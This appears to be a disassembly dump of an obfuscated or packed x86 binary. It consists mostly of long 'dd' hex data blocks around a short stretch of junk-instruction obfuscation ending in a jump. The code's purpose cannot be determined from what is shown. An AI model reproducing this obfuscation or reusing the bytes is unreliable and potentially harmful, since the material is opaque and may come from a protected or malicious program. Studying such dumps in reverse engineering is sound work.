		dd 0C3E21196h, 7406983Ch, 0AF6FE9F5h, 0CE7608F9h, 0ADE057AAh
		dd 1FB48834h, 8B3F223Fh, 95A29D14h, 7DB8700h, 9215F9C0h
		dd 0FF855D09h, 641825F9h, 0F1B12EC0h, 10B84AB7h, 946B3CECh
		dd 0B14E591Dh, 0B76CA21Fh, 5C02B3B0h, 0F4922E52h, 0CA20EB86h
		dd 297EA33Bh, 28D45DD6h, 290D8650h, 32C43B6Ch, 1891518Ah
		dd 9AD55E7h, 0ABE16EE5h, 0E769D1EDh, 41F115D1h,	53079966h
		dd 8517A956h, 5E49D806h, 41662AA1h, 7709F8B2h, 8D1FF0C3h
		dd 771B41E5h, 4566F378h, 2140D276h, 8, 0ECBC7CAAh, 3CA3F115h
		dd 89A6745h, 1AAC5354h,	2DBF4266h, 43D53A79h, 58EA178Fh
		dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh,	5B545386h
		dd 4C381h, 0EB830000h, 241C8704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	2E95h
		mov	[esp], esi
		mov	esi, 31D41361h
		not	esi
		inc	esi
		sub	esi, 435C6177h
		sub	esi, 84A92D1Fh
		mov	eax, esi
		pop	esi
		push	59Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 401D1CABh
		pop	dword ptr [ebp+8]
		sub	dword ptr [ebp+8], 401D1CABh
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		db 23h,	17h, 84h
		dd 1BD5E16Ch, 0B8CF91B7h, 626637Dh, 0E0FFC503h,	0B99D792h
		dd 291909A6h, 22037F14h, 158A6C99h, 58F4CDA9h, 770B36A2h
		dd 5747AC73h, 2B34EA58h, 6CEDA0E1h, 15EFF5C9h, 3B257A8Eh
		dd 22A9D9FAh, 3975A740h, 2CF55DA4h, 36435EFBh, 3420652Fh
		dd 38B5A3C5h, 75828BE3h, 0CAD7371h, 3AA642AEh, 1730FD7Eh
		dd 72A29B68h, 7AABF988h, 5DB91FCEh, 0D9C40A3h, 4030D99Bh
		dd 5E1391BBh, 99A850Fh,	3E63731h, 47BE765Ah, 2A536166h
		dd 65888D8Dh, 6A0626h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 78487AC3h, 60D6DB28h, 8BD8D29h
		dd 8166061Fh, 61BF0FE2h, 5D8D89FCh, 89061F0Bh, 1F00AD8Dh
		dd 0C585C706h, 90061F20h, 6A000060h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 36C7C351h
		dd 85C7CE1Ah, 61F137Dh,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5DC35646h
		dd 0FFB92B25h, 1F0105B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0C0D932F2h
		dd 81660E5Fh, 0FFC0CDD0h, 1F2D5995h, 0B99D8B06h, 8B061F11h
		dd 1F2D19B5h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 256E1F1Bh
		dd 0C6F7EBFEh, 6A9772F3h, 83C60736h, 166A77C6h,	32D10914h
		dd 769015F6h, 0AE8h, 0B156B800h, 0C0DF142Ch, 0E9669025h
		dd 10h,	3C7276F7h, 94657D65h, 0F922BCE0h, 0CCBD3324h, 2860F5Fh
		dd 0B6000000h, 3AC781E8h, 0F00006Dh, 0B80h, 58C0F00h, 66000000h
		dd 130F081h, 0B653F633h, 34FF5B41h, 0DFBF0F3Eh,	8CBB6659h
		dd 0D6F18160h, 660B4281h, 0C97CC281h, 9962E981h, 0C1815FCBh
		dd 18445D42h, 8963C080h, 0BD31370Ch, 61F0CF1h, 0A9D9D8Bh
		dd 0EE83061Fh, 51958B01h, 4E061F1Bh, 1FBB4E4Eh,	81550B57h
		dd 0FF9380FEh, 16850FFFh, 89000000h, 1F0891B5h,	1DE906h
		dd 56FE0000h, 0AA8A27AFh, 11EF2123h, 0C6B70FE5h, 0FFFF91E9h
		dd 8E6B8DFFh, 999F5244h, 8BC1C252h, 0C0h, 18Eh dup(0)
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0B20BC355h, 0F0340A06h, 0F8F88F75h
		dd 0E9609DFCh, 10h, 666A67D0h, 0ECE94015h, 0B0A8A5E6h
		dd 1EF51BEh, 570CCE81h,	61611F3Ah, 9E9h, 9262C600h, 0BC0F90C4h
		dd 6A5DDC43h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 1A5BC350h, 7F0BFF31h, 60F51B54h
		dd 232808BBh, 8A0F10h, 61000000h, 8244401h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2EC35545h, 463F1C20h
		dd 0F810Fh, 0AE90000h, 45000000h, 0FDDA093Fh, 0E84259C6h
		dd 800FFC2Fh, 0Ch, 0E0816660h, 8166E9BDh, 61B0CAE9h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0FED581Fh, 1681h, 11E900h, 8F500000h, 3243EAADh, 0E8F43020h
		dd 0CF0B2F61h, 0F8AC46D7h, 8C0FC39Dh, 1, 10E9F5h, 93BA0000h
		dd 0DE9B58DDh, 5E847995h, 31F0B0FAh, 6AE7F5h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 85473CC3h
		dd 0F317A822h, 30BEF560h, 616C65A7h, 0F9C08BF5h, 0C8A0Fh
		dd 7E90000h, 45000000h,	0B535C986h, 0C081859Bh,	2487CA5Fh
		dd 1FBDBF66h, 5850Fh, 9EB80000h, 0E9400E69h, 8,	7C4C45E0h
		dd 77032C06h, 0CE78166h, 0CABF0F14h, 0EE816660h, 0F08A5DF0h
		dd 0B70F5661h, 81FC5FC0h, 337BCEF0h, 62D7B84Dh,	0FE8B2FDAh
		dd 0E3D980F9h, 0B70F5353h, 60595AF7h, 3880FF5h,	66000000h
		dd 5661F98Bh, 0FC5EDA8Bh, 81F08B66h, 99EACEC9h,	0F9BF0F24h
		dd 0E281F3B7h, 2E3EFB98h, 78A0Fh, 60600000h, 0DEBF0F61h
		dd 66606061h, 0AB3DF8Bh, 28B0F61h, 0B5000000h, 0E8B461B6h
		dd 7157BB66h, 44DE8160h, 662A210Fh, 0CB83CF81h,	0FFBF6661h
		dd 8A605751h, 615852CAh, 0F8BF0F59h, 12E8h, 5EFECE00h
		dd 3CED79CCh, 2BCFAFCEh, 2E09A5Bh, 0F9C2A82h, 1386h, 0DE800h
		dd 0AAD00000h, 5B9F4491h, 0FF62D5DEh, 5E722432h, 6850F5Eh
		dd 81000000h, 783B4DF1h, 13820F35h, 0E8000000h,	0Dh, 0F694E312h
		dd 17049A77h, 48BBC66Fh, 0BA665853h, 81661656h,	60CEAFD8h
		dd 0FE9h, 94998900h, 1668AC24h,	0E120497Ah, 0B8863241h
		dd 0F1CE8060h, 0BE8h, 25EDD800h, 0CE20703Bh, 0F7CC3C0Bh
		dd 6661615Bh, 0E781FA8Bh, 34FB88DAh, 6683EF80h,	7543F281h
		dd 28B0Fh, 0C68B0000h, 0EE8h, 4F334E00h, 4D97CBB1h, 6295915Dh
		dd 0F85E4C3Fh, 60C88B5Fh, 532EBE66h, 0E96158B7h, 10h, 5CEFF6FCh
		dd 0FF1DAAC4h, 7EF4AE47h, 5A762F56h, 9BF78166h,	0EE8C5h
		dd 0C1A50000h, 7F16D7DFh, 77BD5489h, 0E6F9448Bh, 0ADC18166h
		dd 58565F07h, 0CE9h, 61AEAA00h,	0A4C797F5h, 13FE9D60h
		dd 6E9B3h, 264B0000h, 0B6FEF64Dh, 0B4FA8B66h, 0D0FABA5Dh
		dd 9E94CAAh, 0E7000000h, 8F4A7B3Fh, 93CF8787h, 0EE9h, 0E9786F00h
		dd 0C55E6934h, 0D30C1BACh, 579BE4E7h, 7E9h, 0B2D02000h
		dd 4516BD2Dh, 0CE85Ah, 0EF870000h, 0D67280E7h, 717A6E1Ah
		dd 47B29DA7h, 0DF816659h, 8166E598h, 60AAE7F3h,	1810Fh
		dd 0FF90000h, 58Ch, 0D2E5B900h,	0F6156D7h, 198Fh, 11E800h
		dd 8C640000h, 6B08D4F4h, 0A41BC4FBh, 2D2A9D74h,	8A080465h
		dd 0D3805AC2h, 0E781662Fh, 8D0FD6DAh, 0
		dd 9E8h, 0D6548C00h, 0CC95C304h, 0DE9FE7Eh, 69000000h
		dd 440961FAh, 0B9DED757h, 0CDD37257h, 8E95Fh, 47BB0000h
		dd 113B49Ah, 8D0F47CBh,	5, 0D0D88166h, 6E971h, 5DD00000h
		dd 0E23E1036h, 0E8C38B66h, 0Ah,	48C53246h, 7202708Dh, 0CA8BF4D0h
		dd 0EE85Ah, 8AB80000h, 9A7E50C5h, 0F9E6B835h, 95FF120h
		dd 0AB93BB66h, 48A0F5Eh, 66000000h, 52E4FBBEh, 1FEE8166h
		dd 6B35B23h, 8AF28B66h,	0CF8160C3h, 65FA8B80h, 5A616056h
		dd 6E861h, 6FB50000h, 0C8C389F4h, 0B242EE81h, 0E9583EAAh
		dd 0Ch,	0AA48EC4Bh, 933E2379h, 6E764B01h, 4CF08166h, 0D494BB56h
		dd 51605D88h, 61CFC281h, 0E9582BCDh, 12h, 0C150CE17h, 22F8C0DCh
		dd 0DA3EB89Dh, 0CB6F128Ch, 0BB610545h, 60EC2785h, 11E9E18Ah
		dd 0B5000000h, 1D01ED9Ch, 0C239B284h, 95075B56h, 5AEC6B8h
		dd 0F281D58Ah, 0FAED23Eh, 12860Fh, 9E80000h, 0C4000000h
		dd 0CF1BCDD2h, 0C1E1A0E7h, 5BBDE080h, 0D38B6660h, 7212BA61h
		dd 81660517h, 0FD37DEEh, 0FE9F8B7h, 33000000h, 5E71F3DBh
		dd 85AF645Dh, 1CBB6A9Ah, 0C6810DC8h, 3EB51EADh,	10E8h
		dd 2012AF00h, 0F4904350h, 46B6DA88h, 0A8CA1C5Dh, 11E80Fh
		dd 64BF0000h, 0BB6C3601h, 97AA260Eh, 9864F812h,	50EA6513h
		dd 0E95A5E5Ah, 7, 963B13E6h, 57CFD449h,	5022BF66h, 92D0BB59h
		dd 8A60446Fh, 0E7BF66DDh, 0E9606187h, 9, 9E241E3Fh, 35C364B1h
		dd 0BF0F6177h, 327BBC1h, 0C28B0674h, 0D8BF01B0h, 0B430A1A2h
		dd 0CA8166FAh, 840FC38Bh, 16h, 11E9h, 74CA2000h, 0BB048E2Bh
		dd 0A91A63A6h, 0ECA9BB6Dh, 50B6DEA6h, 0C8C38060h, 40EE8166h
		dd 23B9612Fh, 5247FE5Ah, 2890Fh, 61600000h, 81F8F95Fh
		dd 0F693D3D7h, 63B96668h, 8CDE8110h, 665F1C1Ch,	0CA73F181h
		dd 5890F56h, 0B9000000h, 13A29677h, 0DE9F55Fh, 15000000h
		dd 0DEB19822h, 36200853h, 6807787Dh, 0CE8h, 38C84100h
		dd 0BAB8151h, 0D45839Bh, 0D5ABBBFAh, 0E95B18AAh, 0Eh, 0AEEE08E1h
		dd 0C1802C9Dh, 4790AC6Ch, 0F98B2A99h, 0CE9h, 36E0CE00h
		dd 0BE655F3Dh, 0B54AD9CCh, 0E9FE8ABAh, 8, 353B0884h, 9E835E7Fh
		dd 8311EBBAh, 0C780F537h, 0FABF0FADh, 0FCB8B66h, 0B70FC6BFh
		dd 0DF80F5F1h, 0CFBF0F60h, 0BE9h, 0CB1D1E00h, 1434CE13h
		dd 0ED52F287h, 2890FF5h, 8B000000h, 66FCFCD6h, 56F9E081h
		dd 0AE9h, 0E99F6200h, 0EBA7DF11h, 662F796Eh, 75B1DA8Bh
		dd 128E0Fh, 0DE90000h, 0D8000000h, 6FC2E8FFh, 54CF723Bh
		dd 47C4576Bh, 0E73FBF66h, 7820Fh, 850F0000h, 1,	5E9FCh
		dd 0BC6D0000h, 0E985E439h, 8, 0D858443Ch, 906470BFh, 455CE181h
		dd 8E95D3Ch, 0BE000000h, 8F0B6FD2h, 6638673Eh, 6671CABEh
		dd 8389E181h, 0D0BF0FFCh, 0FCB8B66h, 1886h, 13E900h, 0BB1D0000h
		dd 0D0EE3279h, 0A621C810h, 0B095CFB9h, 8EA53405h, 0DE85Eh
		dd 93CE0000h, 0DE717391h, 4EC9A193h, 66B30263h,	5AA811B8h
		dd 0A3D681F5h, 0E9207652h, 0Bh,	9311D537h, 1C2EACE2h, 0F23B5CDh
		dd 9E9D1BFh, 42000000h,	48352AF5h, 3FE9C51Dh, 5FC38B52h
		dd 88C0FF8h, 50000000h,	2441E081h, 50595D59h, 5B08D181h
		dd 605B65AEh, 49C18166h, 0BE6661D4h, 11E8F790h,	5B000000h
		dd 0DBFE9545h, 50D922DCh, 131C54A2h, 0C1905609h, 5F01F580h
		dd 40EB8060h, 4EF78060h, 61616160h, 10E957h, 71C00000h
		dd 716B6E0Dh, 0AA581646h, 62AC76E9h, 0F5AE170h,	0C8Bh
		dd 6810F00h, 0F000000h,	80h, 0D1B70F00h, 58A0Fh, 81660000h
		dd 0E93824D2h, 0Eh, 0C6C6A056h,	76CEE51Ch, 0DBE2F02Bh
		dd 8166AA60h, 5631B0F0h, 0BE9h,	77C68300h, 914166Ah, 15F632D1h
		dd 5880F5Bh, 0BE000000h, 62C1063Dh, 0FDBBF0Fh, 58Ch, 0D7816600h
		dd 8166AF5Eh, 66D59DDFh, 0E04DE981h, 46E556B8h,	0C9816642h
		dd 0B70F0517h, 0C28B66D8h, 61CAB260h, 890Fh, 0B8660000h
		dd 890F3CB1h, 5, 26C88166h, 8BDE8B34h, 0EE9F8h,	0F8600000h
		dd 63621142h, 66E304F6h, 201A48BCh, 8E8h, 9FF66C00h, 7F04421Dh
		dd 0C810F57h, 0E9000000h, 7, 9C7E224h, 59D80CB2h, 66AED180h
		dd 53E3BFBAh, 7FD28166h, 8B0F5868h, 2, 0BF66E0B3h, 0BE66A80Ch
		dd 0E2B628ADh, 3142B966h, 14850Fh, 8E80000h, 33000000h
		dd 6893D772h, 814C6147h, 9FC6BFF1h, 0BF0F595Ch,	9CBB66D1h
		dd 0AE916h, 0ABF30000h,	8E9666EDh, 0CBF3D589h, 96CEBF66h
		dd 0E964B966h, 0BE952h,	745F0000h, 22EA62EEh, 82DA6C67h
		dd 81665E92h, 0E9213BD0h, 11h, 22071234h, 0B773AF22h, 9EA93D9h
		dd 0EE56AFDFh, 0AE8ECh,	45020000h, 300D4BD6h, 25072BFBh
		dd 128A0F5Ah, 0F000000h, 0C82h,	7E900h,	0F7ED0000h, 48625408h
		dd 0E68166F0h, 8D0F2F2Dh, 7, 0E7816653h, 805F7F90h, 9FBABFE3h
		dd 80542F89h, 7E913DCh,	4C000000h, 735510F3h, 0F3818075h
		dd 4D053237h, 8BF98B66h, 2830FFAh, 0B2000000h, 0EE98128h
		dd 812EE54Eh, 0C51CEAF0h, 1F8F0F46h, 0E8000000h, 6, 0DFB7C948h
		dd 0EE9954Dh, 0A4000000h, 0EB0C53C2h, 51E7B61Dh, 0C14FC3B6h
		dd 0D08B5821h, 11E8h, 0E1A75500h, 4FB7B97Eh, 4B546F15h
		dd 798BFA5Bh, 8166CAE2h, 5F0BB8F0h, 31AB74BEh, 11E93Ah
		dd 93230000h, 28002694h, 0BA99B7B3h, 0E215F8D9h, 0BE7D75CEh
		dd 5398E48Fh, 2890Fh, 0DE8B0000h, 0EB68B966h, 12E8h, 0AC97F400h
		dd 2ED02C8Dh, 0E854DE78h, 1A3404C1h, 52F98AF4h,	59582CB0h
		dd 68F0Fh, 0C3810000h, 1AE609BCh, 12E8h, 0E0845B00h, 78EB894Ch
		dd 4D4D8775h, 7F6C7A8Bh, 519B350Fh, 14E9h, 0D51D5800h
		dd 0C12CECAFh, 49381060h, 963092F6h, 0EEFFAEE0h, 665F5BFBh
		dd 8BFCC28Bh, 0F38160DAh, 59580084h, 12E9h, 6315DB00h
		dd 0B35CCCD3h, 0BD9D59CBh, 0B5C5F186h, 615B692Bh, 3880Fh
		dd 0F5560000h, 68C9815Bh, 0BA0A59CDh, 54FD2C86h, 0FEB70FF8h
		dd 394FBA66h, 66F1BF0Fh, 0BB31FBBBh, 2A44336Bh,	0E9D7BF0Fh
		dd 13h,	0E3E9313Ch, 0B81A7075h,	0C97BD445h, 353A2B10h
		dd 0FB08358h, 587h, 0C9816600h,	850F45AFh, 1, 7E851FCh
		dd 0A8000000h, 5D2AED27h, 0B866CAD8h, 5A5BDCAFh, 75B0DE8Bh
		dd 8BF6BF0Fh, 8B0FFCCEh, 1, 0FBB70FFCh,	6E9h, 0A7EB4E00h
		dd 604C23A7h, 66DAB70Fh, 613632BBh, 0FF08B66h, 238Dh, 0BE800h
		dd 82A0000h, 0C6DE9A91h, 0B5B248E4h, 0DE9B2h, 0C6DB0000h
		dd 0C63F9C1Fh, 4122B40Bh, 5A03D4EDh, 12E9h, 0A592DD00h
		dd 49CFBD9Ch, 1554E23h,	6AA34FB5h, 8B50342Ah, 0A59AB8F8h
		dd 3DB61E45h, 0F10D180h, 0B966DAB7h, 0CE92EA1h,	0BD000000h
		dd 8443A4C8h, 72CCA88h,	563E922Ch, 1EEB8166h, 0EE815999h
		dd 11150808h, 88C0Fh, 830F0000h, 2, 0BE8FB8Bh, 41000000h
		dd 0D2410169h, 0BE322908h, 5BF8A0E3h, 0EE816660h, 0DE979FFh
		dd 72000000h, 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h,	12E961h
		dd 6D290000h, 4AA5783Bh, 0A954989h, 0F2573961h,	0DB74BA82h
		dd 8E9h, 246C1900h
		dd 0B6D8E904h, 5E874h, 85220000h, 517F929Fh, 547319BAh
		dd 0B95B5A2Fh, 6EE71992h, 0BA66CE8Ah, 0F55698EAh, 0C6BF0F5Ah
		dd 6840Fh, 0C6810000h, 4DAD6EEAh, 8E9h,	84D49000h, 97C5AB4Bh
		dd 6810F97h, 81000000h,	465B51DEh, 0C3BF0F56h, 0AED5B866h
		dd 12810F60h, 0E9000000h, 0Dh, 616303B8h, 0F414F310h, 0FFE985DCh
		dd 0D7C181B3h, 6109D37Dh, 60D6B70Fh, 60B7EF80h,	0FB8ACB81h
		dd 80B8650Ch, 615D55EBh, 9E961h, 1FA40000h, 0BAD566AAh
		dd 0BFBF4E6Dh, 78C7C424h, 5B6C281h, 0FF51F27h, 0C8Fh, 6850F00h
		dd 0F000000h, 82h, 51DAB500h, 0CE8F95Fh, 49000000h, 0CEFC93ABh
		dd 6ECD776Fh, 0FF2C82Bh, 0F5FF6BFh, 880FCEBFh, 0Ch, 7E9h
		dd 9C693200h, 52ADA741h, 7E9h, 19A5D100h, 9B5B8A8Eh, 25B1AAB9h
		dd 0CE804h, 0B9DE0000h,	0CDD37257h, 0BF63E172h,	0EF813855h
		dd 37373A0Ch, 12E95Eh, 0F8310000h, 0AFEA613Dh, 70A636EBh
		dd 42552965h, 0D98B9A8Ch, 7E9DD8Ah, 69000000h, 9C934B8Ch
		dd 0B70F2653h, 0C78166FFh, 0F18B2FAEh, 0DBDDBCBEh, 72BE6674h
		dd 7502B891h, 69B11A98h, 0DE8h,	0D7C0A100h, 53C03D11h
		dd 6EA6E8Ah, 0AEB8DBF2h, 5E7472A3h, 0FA2E280h, 0BB66FEBFh
		dd 8F0F7D3Bh, 0Fh, 0AE9h, 14C3F500h, 5AE5F044h,	0BAEF7132h
		dd 3A944F95h, 5EA2BA66h, 0FFE8B66h, 283h, 0FCB8A00h, 0C681DFB7h
		dd 0BE4B66Eh, 0D2121FBEh, 0C8BF0F25h, 0C1816652h, 0E95A7D19h
		dd 0Dh,	0DA5603BDh, 8FCFD3B4h, 72879432h, 810FF8A3h, 3
		dd 0FF28B66h, 681h, 92E08100h, 8132F10Ch, 439D39C9h, 0C281FC1Ch
		dd 55625B96h, 0D7CF8166h, 0C850FB2h, 0F000000h,	68Dh, 890F00h
		dd 0E9000000h, 9, 0CE91548Dh, 8ED2976Ah, 1840F8Dh, 0FC000000h
		dd 8E960h, 546B0000h, 5E23D927h, 0CA81AADFh, 5EE36DE7h
		dd 96B96661h, 98C2BAC1h, 81661501h, 0E82929DFh,	8, 6CBE851Bh
		dd 0C337E483h, 0EE9h, 56860800h, 0B2B7A607h, 6984021Ah
		dd 598D5A8Eh, 0B9F1E0BEh, 0FB8B664Eh, 8A0FF78Bh, 6, 7A35E181h
		dd 0C68B7D01h, 0E9DF8B66h, 0Dh,	13BFB15Bh, 0B9A71D62h
		dd 2587E1Eh, 0F52F84Ah,	38Bh, 79F58000h, 17830F5Eh, 0E9000000h
		dd 12h,	5A5683D6h, 0A4DD8785h, 44FACA86h, 0E090CF8Eh, 0B70FDF98h
		dd 0DDD781F3h, 0E9316898h, 5, 0F8C7ABBDh, 0F68166C3h, 5051120Bh
		dd 5AF9B70Fh, 0C9C8815Fh, 0B951055Ah, 77674998h, 0CE8h
		dd 8A452E00h, 1331E6C0h, 0D62B1CCCh, 0FEB558A1h, 8EF38060h
		dd 0FE8h, 0EB700C00h, 26F16911h, 8FE2DC9Bh, 6C3446AFh
		dd 816159FCh, 133C48DEh, 14E86Ch, 6D300000h, 874EE59Ch
		dd 68C2EDCh, 3ED9E8BCh,	0A7F8EB09h, 0D68B75EAh,	0F38B665Bh
		dd 7E9F9h, 64E50000h, 9E4910B7h, 0D88B605Ch, 61F28B66h
		dd 650BE981h, 8B6667B5h, 63C580C1h, 2880Fh, 0D0B30000h
		dd 8BC7B70Fh, 8850FDFh,	0F000000h, 28Ah, 8BF08A00h, 0E9F2B1F0h
		dd 13h,	22C7859Ah, 0B38AD662h, 0C0A8E99h, 0F7DBE790h, 0E9AB99B6h
		dd 11h,	0B7924703h, 0F07AB77Eh,	8481C01Bh, 0CB17F026h
		dd 41DFBA0Dh, 8B661CF1h, 8E0F60C6h, 5, 0D3392AB9h, 4FD4805Fh
		dd 5BF85261h, 5890Fh, 0D9BB0000h, 663F572Dh, 0FFCDF8Bh
		dd 28Eh, 0BA3BB300h, 54446F4Dh,	198C0Fh, 0E9530000h, 12h
		dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0F42B6AEAh, 0F5B1C25h
		dd 0F50DEB7h, 484h, 0EFBB6600h,	0BA665EF7h, 0BF0FC0CAh
		dd 38E0BFCFh, 8B661B48h, 3AE381F8h, 814A2812h, 3CCBE6EBh
		dd 0F6816661h, 0EE81968Bh, 780D6840h, 0E842BF66h, 14E8h
		dd 0D9B97800h, 40C783FDh, 5B8E18ABh, 510FDB1Fh,	0CA04EF2Eh
		dd 6870F80h, 0F000000h,	81h, 0E9515E00h, 7, 0CEDB80C6h
		dd 5E43C9CCh, 2D18166h,	0E9A2B3D8h, 9, 22B2AFFBh, 0F96FB05Fh
		dd 0EEBE662Fh, 57FA8A87h, 8059F88Bh, 8166BFF4h,	0F70F5C0h
		dd 0F781F9BFh, 3A9B204Eh, 43D78166h, 14E91Fh, 0B0E20000h
		dd 96609708h, 6BFCDE10h, 4B2B1Fh, 6B51A2A7h, 81603AD2h
		dd 21A112F0h, 5E91Ch, 0B7D80000h, 61F4A124h, 13E8h, 2B4B0400h
		dd 6883D037h, 694B317h,	0B07C96F4h, 69740082h, 8A5F21B3h
		dd 59FC57F3h, 3870Fh, 0BF0F0000h, 15E980FBh, 0AE9h, 736BC000h
		dd 1ECA4233h, 0BB746C49h, 12B2787Ch, 5830Fh, 81660000h
		dd 0F2730D7h, 0BF0FC7B7h, 66BE66F8h, 0B70F60FDh, 13E9D0h
		dd 28290000h, 71F59312h, 76D58A28h, 0A70A2B80h,	0DF267DACh
		dd 10E961E2h, 0C9000000h, 0DB0A6730h, 895A02C8h, 9BD9EF39h
		dd 66790CA9h, 0B365D181h, 0BF0FE7B1h, 820FF5C1h, 9, 3830Fh
		dd 8B660000h, 4810FC3h,	66000000h, 0B9CE0BBEh, 53C3748Fh
		dd 0F60DE8Bh, 86h, 0CDE7BF00h, 60616FBBh, 13E833B6h, 0C7000000h
		dd 60DCE1D5h, 288822A5h, 9B71060Bh, 8548CD81h, 61606B8Dh
		dd 81666159h, 66533ECBh, 51CEE6BAh, 0BE9605Fh, 2D000000h
		dd 0DF13CA89h, 289A9349h, 3AB4C46Dh, 0FB8B6661h, 46DA8166h
		dd 35E780DDh, 4578F381h, 81662E6Ah, 6625E9CFh, 66CF12BEh
		dd 6637E0B8h, 933DF681h, 0C2D8DF81h, 12E924B3h,	4B000000h
		dd 55865982h, 0CB510289h, 82D3D977h, 5C2EEC91h,	0F6051D5h
		dd 82h,	9AD78100h, 61547884h, 0BF60FC5Bh, 65568777h, 0BE9h
		dd 0BDC4C500h, 3BF4F167h, 12236D81h, 13E9F561h,	7000000h
		dd 686C9D6Eh, 0B75CB0D6h, 872D2C98h, 529ADDF5h,	0D78B1E05h
		dd 0BE9h, 0C7080000h, 0A2DD8D0Fh, 669CD81Fh, 0B7E18166h
		dd 0EFBB664Dh, 0F7816675h, 0F580E5CBh, 2880FEEh, 8A000000h
		dd 1F8A0FC7h, 0E8000000h, 14h, 979CF791h, 31CB4BE4h, 0C7D9D3DEh
		dd 816E43C6h, 0C777992Ah, 3F2C52BBh, 0AE95836h,	8000000h
		dd 0D6A89B52h, 527BE7F0h, 8E9FCh, 32600000h, 0CE76EB6Fh
		dd 0F08A8A81h, 2810Fh, 0B8B50000h, 60F88BF9h, 68E0Fh, 830F0000h
		dd 0
		dd 0B861F08Bh, 0FC908Fh, 13E9h,	0CE39F600h, 102D1742h
		dd 3C25D44Fh, 13340B46h, 9E411581h, 0BF0F00B0h,	0FD68BC0h
		dd 5160D7B7h, 59C0BF0Fh, 0DAB70F61h, 6660E18Ah,	8B3D4DBBh
		dd 860F61C3h, 2, 0EBB0D18Bh, 0FB3F51BAh, 6661604Bh, 0BAC1B8B9h
		dd 136D49A1h, 0FD9B70Fh, 187h, 890FFC00h, 0Dh, 8E9h, 992CA400h
		dd 91106F11h, 0E9F5F932h, 12h, 13607AC7h, 94C0E80Dh, 35F6125Dh
		dd 0D8D54C4Ch, 8166B9D2h, 0E93EC9DEh, 11h, 30CA1439h, 0DBE17A7Eh
		dd 0E21A1279h, 0C0955FADh, 0E2BB663Bh, 9E9FCh, 0C5AF0000h
		dd 0D0754363h, 8132BD71h, 95DAF6E8h, 6E86040h, 21000000h
		dd 22632EDDh, 5EC28A26h, 0B5E08166h, 0FABB6161h, 601ACE64h
		dd 66D08B66h, 0E861F38Bh, 6, 1B01C310h,	10E91403h, 51000000h
		dd 0A1E5D192h, 1D52426Bh, 0BC7C4D7h, 58E107A7h,	9E820B1h
		dd 7B000000h, 55183889h, 5BE0C92Bh, 0FE9h, 33E8C600h, 40411F21h
		dd 34133965h, 0E063341Bh, 0E681665Ah, 0F38155CFh, 7DC66743h
		dd 12E8h, 45245B00h, 3A960A98h,	0EAEDE7F2h, 3BB5D503h
		dd 57B4CA60h, 0F605B5Ah, 387h, 0C9BF0F00h, 0F0C88166h
		dd 0D78B611Dh, 0E8FFBF0Fh, 10h,	0F1F41753h, 30A457CBh
		dd 92D50E48h, 8ADEF66Dh, 0E1BA665Fh, 0E8D3B793h, 12h, 0D201E894h
		dd 6AEB93C8h, 0A04C69C2h, 30C3F1DCh, 0B70FD291h, 810F5ECFh
		dd 5, 0F8B70F51h, 72BB665Ah, 1F33BA6Ch,	800F5BA5h, 12h
		dd 7E8h, 0C368EF00h, 3602CC19h,	54C38166h, 81F55853h, 4A4450C0h
		dd 5CC6805Ah, 28B0Fh, 0F28B0000h, 10E8F5h, 14BD0000h, 62340C6Eh
		dd 6027C68h, 4118C4DAh,	0CE9490Bh, 29000000h, 0E4F96257h
		dd 0E735845h, 590B318Eh, 0EE0F86B9h, 0D2816660h, 0BE9EC09h
		dd 0C5000000h, 5B4B4h, 0F3BEC291h, 13E89A6Ah, 0B2000000h
		dd 66DA2ABh, 0C3F032F3h, 0F255D9A1h, 7777C908h,	880F37E5h
		dd 3, 59C28B66h, 14880Fh, 0DE80000h, 9C000000h,	20C96B46h
		dd 471F7761h, 76C0FA0Eh, 0BB665EFCh, 66527DF9h,	505BF88Bh
		dd 0D3816660h, 57BA150Ch, 612E0631h, 13E95Eh, 354B0000h
		dd 70E0B88Fh, 707DFE5Fh, 347CFA92h, 91E77692h, 0BE9DFh
		dd 364D0000h, 25C1EB80h, 2B235447h, 4CB960AFh, 616DA7F1h
		dd 0A394CBEh, 0E960F828h, 9, 70D08E3Fh,	8E1A76EFh, 860F5345h
		dd 0
		dd 0F60615Ah, 48Dh, 6FB86600h, 0F08B66A4h, 8E861h, 27D90000h
		dd 7873C204h, 8A0FEDADh, 1, 8F0F5FF5h, 0Fh, 0AE9h, 80EEE200h
		dd 4ADE3673h, 0BF9A1F94h, 29EDAE4Ah, 13E8h, 8E9BE800h
		dd 84FE5434h, 0E4793565h, 0CF310AC5h, 0F78A321Dh, 746C25B9h
		dd 0B866581Ah, 3ABB17FAh, 6621CE16h, 521422BBh,	2800Fh
		dd 5E520000h, 5810F58h,	53000000h, 5BD0BF0Fh, 10E9h, 6B377C00h
		dd 2A381B88h, 0DCF5A4FAh, 0F709B234h, 6810F04h,	81000000h
